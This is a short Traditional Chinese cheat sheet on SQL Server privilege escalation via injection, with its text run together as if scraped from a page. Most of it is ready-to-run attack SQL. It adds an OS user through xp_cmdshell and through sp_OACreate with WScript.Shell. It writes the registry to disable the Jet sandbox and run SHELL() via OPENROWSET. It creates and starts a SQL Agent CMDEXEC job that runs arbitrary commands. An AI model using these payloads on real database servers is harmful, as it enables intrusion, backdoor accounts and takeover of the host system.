SQL Server 支援多語句執行,攻擊者偏好利用系統預存程序/函數快速提權,而非盲目猜表名。
EXEC master..xp_cmdshell 'NET USER ray ray /ADD';
sysadmin 角色可執行DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'NET USER ray ray /ADD';
sp_OACreate/sp_OAMethod 呼叫 COM 物件xp_cmdshell 被刪除/停用的限制-- 1. 修改註冊表開啟 Sandbox Mode
EXEC master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE',
'Software\Microsoft\Jet\4.0\Engines',
'SandBoxMode', 'REG_DWORD', 0;
-- 2. 利用 OPENROWSET 執行 Jet Shell 命令
SELECT * FROM OPENROWSET(
'Microsoft.Jet.OLEDB.4.0',
';Database=C:\Windows\System32\ias\ias.mdb',
'SELECT SHELL("NET USER ray ray /ADD")'
);
SHELL(),開啟 Sandbox 後可執行ias.mdb 作為載體-- 1. 啟動 SQL Server Agent
EXEC master.dbo.xp_servicecontrol 'START', 'SQLSERVERAGENT';
-- 2. 建立並立即執行 CmdExec 步驟作業
USE msdb;
EXEC sp_delete_job @job_name = 'x';
EXEC sp_add_job @job_name = 'x';
EXEC sp_add_jobstep @job_name = 'x', @step_name = 'x', @subsystem = 'CMDEXEC',
@command = 'CMD /C DIR C:\';
EXEC sp_add_jobserver @job_name = 'x', @server_name = @@SERVERNAME;
EXEC sp_start_job 'x';
CMDEXEC 子系統執行任意命令xp_cmdshell、sp_OA*、xp_regwrite、xp_servicecontrol 等高危擴展sysadmin 角色成員CMDEXEC 代理帳號權限